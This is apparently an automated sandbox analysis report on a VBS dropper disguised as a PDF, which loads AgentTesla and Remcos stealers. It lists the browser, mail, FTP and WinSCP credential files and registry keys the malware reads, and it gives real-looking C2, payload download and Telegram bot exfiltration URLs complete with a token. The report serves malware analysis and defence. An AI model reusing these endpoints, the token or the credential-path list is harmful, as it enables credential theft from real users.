          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0041881C GetSystemTime,memcpy,GetCurrentProcessId,memcpy,GetTickCount,memcpy,QueryPerformanceCounter,memcpy,28_2_0041881C
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_00408043 memset,memset,memset,memset,GetComputerNameA,GetUserNameA,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,strlen,strlen,memcpy,30_2_00408043
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07DBBE34 CreateNamedPipeW,35_2_07DBBE34
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0041739B GetVersionExW,28_2_0041739B

          Stealing of Sensitive Information

          barindex
          Yara detected AgentTesla
          Source: Yara matchFile source: 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 8376, type: MEMORYSTR
          Yara detected Telegram RAT
          Source: Yara matchFile source: 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 8376, type: MEMORYSTR
          Yara detected Remcos RAT
          Source: Yara matchFile source: 0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 2480, type: MEMORYSTR
          Tries to steal Mail credentials (via file / registry access)
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live MailJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
          Tries to steal Mail credentials (via file registry)
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: ESMTPPassword30_2_004033E2
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword30_2_00402DA5
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword30_2_00402DA5
          Tries to harvest and steal browser information (history, passwords, etc)
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\places.sqliteJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.dbJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
          Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
          Tries to harvest and steal ftp login credentials
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
          Yara detected WebBrowserPassView password recovery tool
          Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 8540, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 5236, type: MEMORYSTR
          Tries to steal Instant Messenger accounts or passwords
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic SaltJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt
          Source: Yara matchFile source: 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 8376, type: MEMORYSTR

          Remote Access Functionality

          barindex
          Yara detected AgentTesla
          Source: Yara matchFile source: 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 8376, type: MEMORYSTR
          Yara detected Telegram RAT
          Source: Yara matchFile source: 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 8376, type: MEMORYSTR
          Yara detected Remcos RAT
          Source: Yara matchFile source: 0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 2480, type: MEMORYSTR

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid Accounts211
          Windows Management Instrumentation          		1
          DLL Side-Loading          		1
          DLL Side-Loading          		1
          Disable or Modify Tools          		2
          OS Credential Dumping          		1
          System Time Discovery          		Remote Services1
          Archive Collected Data          		Exfiltration Over Other Network Medium1
          Web Service          		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default Accounts221
          Scripting          		11
          Registry Run Keys / Startup Folder          		213
          Process Injection          		11
          Deobfuscate/Decode Files or Information          		11
          Input Capture          		1
          Account Discovery          		Remote Desktop Protocol2
          Data from Local System          		Exfiltration Over Bluetooth1
          Ingress Tool Transfer          		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain Accounts11
          Native API          		Logon Script (Windows)11
          Registry Run Keys / Startup Folder          		221
          Scripting          		3
          Credentials in Registry          		2
          File and Directory Discovery          		SMB/Windows Admin Shares1
          Email Collection          		Automated Exfiltration11
          Encrypted Channel          		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local Accounts112
          Command and Scripting Interpreter          		Logon Script (Mac)Logon Script (Mac)13
          Obfuscated Files or Information          		1
          Credentials In Files          		1110
          System Information Discovery          		Distributed Component Object Model11
          Input Capture          		Scheduled Transfer1
          Non-Standard Port          		SIM Card SwapCarrier Billing Fraud
          Cloud Accounts2
          PowerShell          		Network Logon ScriptNetwork Logon Script1
          DLL Side-Loading          		LSA Secrets331
          Security Software Discovery          		SSH2
          Clipboard Data          		Data Transfer Size Limits3
          Non-Application Layer Protocol          		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.common11
          Masquerading          		Cached Domain Credentials241
          Virtualization/Sandbox Evasion          		VNCGUI Input CaptureExfiltration Over C2 Channel214
          Application Layer Protocol          		Jamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup Items241
          Virtualization/Sandbox Evasion          		DCSync4
          Process Discovery          		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job213
          Process Injection          		Proc Filesystem1
          Application Window Discovery          		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
          Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadow1
          System Owner/User Discovery          		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 625179 Sample: doc_65398086_4190362045539.... Startdate: 12/05/2022 Architecture: WINDOWS Score: 100 56 vegproworld.com 2->56 58 myfrontmannyfour.ddns.net 2->58 60 7 other IPs or domains 2->60 72 Multi AV Scanner detection for domain / URL 2->72 74 Found malware configuration 2->74 76 Antivirus detection for URL or domain 2->76 78 13 other signatures 2->78 12 wscript.exe 2 2->12         started        signatures3 process4 signatures5 108 Wscript starts Powershell (via cmd or directly) 12->108 110 Very long command line found 12->110 112 Encrypted powershell cmdline option found 12->112 15 powershell.exe 25 12->15         started        process6 signatures7 114 Writes to foreign memory regions 15->114 116 Tries to detect Any.run 15->116 18 ieinstal.exe 8 8 15->18         started        22 csc.exe 3 15->22         started        25 conhost.exe 15->25         started        process8 dnsIp9 62 myfrontmannyfour.ddns.net 185.19.85.162, 4939, 49761, 49763 DATAWIRE-ASCH Switzerland 18->62 64 vegproworld.com 148.66.138.165, 443, 49758 AS-26496-GO-DADDY-COM-LLCUS Singapore 18->64 66 l-0003.l-dc-msedge.net 13.107.43.12, 443, 49760, 49775 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 18->66 80 Creates multiple autostart registry keys 18->80 82 Tries to detect Any.run 18->82 84 Injects a PE file into a foreign processes 18->84 27 wscript.exe 2 18->27         started        30 ieinstal.exe 1 18->30         started        32 ieinstal.exe 18->32         started        36 4 other processes 18->36 52 C:\Users\user\AppData\Local\...\15yt3nse.dll, PE32 22->52 dropped 34 cvtres.exe 1 22->34         started        file10 signatures11 process12 signatures13 96 Wscript starts Powershell (via cmd or directly) 27->96 98 Very long command line found 27->98 100 Encrypted powershell cmdline option found 27->100 38 powershell.exe 27->38         started        102 Tries to steal Instant Messenger accounts or passwords 30->102 104 Tries to steal Mail credentials (via file / registry access) 30->104 106 Tries to harvest and steal browser information (history, passwords, etc) 36->106 process14 signatures15 86 Tries to detect Any.run 38->86 41 CasPol.exe 38->41         started        45 csc.exe 38->45         started        48 conhost.exe 38->48         started        process16 dnsIp17 68 api.telegram.org 149.154.167.220, 443, 49778, 49779 TELEGRAMRU United Kingdom 41->68 70 l-0004.l-dc-msedge.net 13.107.43.13, 443, 49774 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 41->70 88 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 41->88 90 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 41->90 92 Tries to steal Mail credentials (via file / registry access) 41->92 94 6 other signatures 41->94 54 C:\Users\user\AppData\Local\...\5gap5ezo.dll, PE32 45->54 dropped 50 cvtres.exe 45->50         started        file18 signatures19 process20

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          doc_65398086_4190362045539.pdf.vbs19%VirustotalBrowse
          doc_65398086_4190362045539.pdf.vbs20%ReversingLabsScript.Trojan.Valyria

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          34.0.ieinstal.exe.400000.2.unpack100%AviraHEUR/AGEN.1244765Download File
          30.2.ieinstal.exe.400000.0.unpack100%AviraHEUR/AGEN.1211693Download File
          30.0.ieinstal.exe.400000.1.unpack100%AviraHEUR/AGEN.1244765Download File
          30.0.ieinstal.exe.400000.3.unpack100%AviraHEUR/AGEN.1244765Download File
          28.2.ieinstal.exe.400000.0.unpack100%AviraHEUR/AGEN.1211693Download File
          34.0.ieinstal.exe.400000.1.unpack100%AviraHEUR/AGEN.1244765Download File
          30.0.ieinstal.exe.400000.0.unpack100%AviraHEUR/AGEN.1244765Download File
          34.2.ieinstal.exe.400000.0.unpack100%AviraHEUR/AGEN.1211693Download File
          34.0.ieinstal.exe.400000.0.unpack100%AviraHEUR/AGEN.1244765Download File
          30.0.ieinstal.exe.400000.2.unpack100%AviraHEUR/AGEN.1244765Download File
          30.0.ieinstal.exe.400000.4.unpack100%AviraHEUR/AGEN.1244765Download File
          32.2.ieinstal.exe.400000.0.unpack100%AviraHEUR/AGEN.1211693Download File
          34.0.ieinstal.exe.400000.4.unpack100%AviraHEUR/AGEN.1244765Download File
          34.0.ieinstal.exe.400000.3.unpack100%AviraHEUR/AGEN.1244765Download File

          Domains

          SourceDetectionScannerLabelLink
          l-0004.l-dc-msedge.net0%VirustotalBrowse
          myfrontmannyfour.ddns.net1%VirustotalBrowse
          vegproworld.com5%VirustotalBrowse

          URLs

          SourceDetectionScannerLabelLink
          http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
          https://vegproworld.com/wp-content/Medalj.vbsL50%Avira URL Cloudsafe
          http://pesterbdd.com/images/Pester.png100%Avira URL Cloudmalware
          https://go.micro0%Avira URL Cloudsafe
          https://contoso.com/License0%Avira URL Cloudsafe
          https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www0%Avira URL Cloudsafe
          https://contoso.com/Icon0%Avira URL Cloudsafe
          https://vegproworld.com/0%Avira URL Cloudsafe
          https://contoso.com/0%Avira URL Cloudsafe
          http://DynDns.comDynDNSnamejidpasswordPsi/Psi0%Avira URL Cloudsafe
          http://mHPdOL.com0%Avira URL Cloudsafe
          https://vegproworld.com/wp-content/Medalj.vbs0%Avira URL Cloudsafe
          https://VaZy5Ui1fWtrw.com0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          l-0003.l-dc-msedge.net
          		13.107.43.12
          		truefalse
            		unknown
            l-0004.l-dc-msedge.net
            		13.107.43.13
            		truefalseunknown
            myfrontmannyfour.ddns.net
            		185.19.85.162
            		truetrueunknown
            api.telegram.org
            		149.154.167.220
            		truefalse
              		high
              vegproworld.com
              		148.66.138.165
              		truetrueunknown
              srod3g.dm.files.1drv.com
              		unknown
              		unknownfalse
                		high
                onedrive.live.com
                		unknown
                		unknownfalse
                  		high
                  srqeug.dm.files.1drv.com
                  		unknown
                  		unknownfalse
                    		high

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocumentfalse
                      		high
                      https://onedrive.live.com/download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNkOJMfalse
                        		high
                        https://onedrive.live.com/download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNkfalse
                          		high
                          https://srod3g.dm.files.1drv.com/y4m1P90Kk2H-cNQxXOJmqK2HftFgWGvGMYnAecew4IQelLJRvEs3Mvm9AZePLE-7ycBADDM9gjChXojaUAFvzvY-Cy423yGwrUlC_bcoe1JiYKCw2nHeJm1x3gw-2YaAOTwF9stB2Fe3I_Q9EF5DHXKtmNsHMwqvsJEU4eUPPpWM4bTgczCUMzY-aeTL5nEBZP9w9o-E6QNqLbkLX7BveYa8g/asorem_uGQzQlB204.bin?download&psid=1false
                            		high
                            https://srqeug.dm.files.1drv.com/y4mQ5yJoi4Y6HcwNbCc6pUgdD-mITQ7kZEuD91b6ItEUlOdCsX5pbb6sRhAFyyW0rsiikZIYNIG3aN6ru2QI2Jocl96QMckoKGjZLRdv33V4FgJlT3eaTuEf_wqTXNdhutLMwhMLh-VKMkO_LprFAOjs6TmBR3J7sRcYsKdRqB40Ocy23CLaBXHZNwliA1rPOqAP9E2b6fOWIjj8SBiqNoMxg/asonewstub_sILUK5.bin?download&psid=1false
                              		high
                              https://vegproworld.com/wp-content/Medalj.vbstrue
                              • Avira URL Cloud: safe
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://srod3g.dm.files.1drv.com/E(ieinstal.exe, 0000001A.00000002.6343660650.00000000033B8000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://srod3g.dm.files.1drv.com/y4m_w_TYZR6G948D0zxHbGIPmcNEAsiCr-h7u8jiKbgtUzAGOf6HCSyuDMew_yzc9ESieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  http://127.0.0.1:HTTP/1.1CasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		low
                                  http://nuget.org/NuGet.exepowershell.exe, 00000015.00000002.2370761640.00000000057E9000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://vegproworld.com/wp-content/Medalj.vbsL5ieinstal.exe, 0000001A.00000002.6339175532.0000000003350000.00000004.00000020.00020000.00000000.sdmptrue
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://api.telegram.orgCasPol.exe, 00000027.00000002.6395527478.000000001D654000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6394320921.000000001D5DC000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000015.00000002.2357747976.00000000048E6000.00000004.00000800.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocumentdocument-----CasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000015.00000002.2357747976.00000000048E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2381742196.0000000007F05000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://go.micropowershell.exe, 00000015.00000002.2359569312.0000000004A18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3301922011.0000000004B93000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          https://srqeug.dm.files.1drv.com/y4mQ5yJoi4Y6HcwNbCc6pUgdD-mITQ7kZEuD91b6ItEUlOdCsX5pbb6sRhAFyyW0rsiCasPol.exe, 00000027.00000003.3255113193.0000000000E33000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://contoso.com/Licensepowershell.exe, 00000015.00000002.2370761640.00000000057E9000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://wwwCasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://contoso.com/Iconpowershell.exe, 00000015.00000002.2370761640.00000000057E9000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://srqeug.dm.files.1drv.com/y4mWmfXrC7pY_5e5zLdKHGbqTRTY7ru3PzSbuunLusBV8qDfu1gh_BHmiBYNt80W1VECasPol.exe, 00000027.00000003.3265852741.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6352571427.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000003.3265748320.0000000000E34000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://support.google.com/chrome/?p=plugin_flashieinstal.exe, 0000001C.00000003.2495333477.0000000005070000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2498783811.0000000005070000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2490758803.0000000005071000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2495478624.0000000005081000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2490830366.000000000507A000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2490666850.000000000506F000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000002.2504032719.0000000005070000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2667344429.000000000481F000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2664518892.0000000004831000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2659206806.0000000004821000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2659027511.000000000481E000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2659302297.000000000482A000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2664137639.0000000004820000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2672748777.000000000481F000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6393200586.000000001D54E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://srod3g.dm.files.1drv.com/zieinstal.exe, 0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.nirsoft.netieinstal.exe, 0000001C.00000002.2502157633.0000000002F86000.00000004.00000010.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2671019533.0000000000706000.00000004.00000010.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://vegproworld.com/ieinstal.exe, 0000001A.00000002.6339175532.0000000003350000.00000004.00000020.00020000.00000000.sdmptrue
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://srqeug.dm.files.1drv.com/CasPol.exe, 00000027.00000002.6348628916.0000000000DD2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
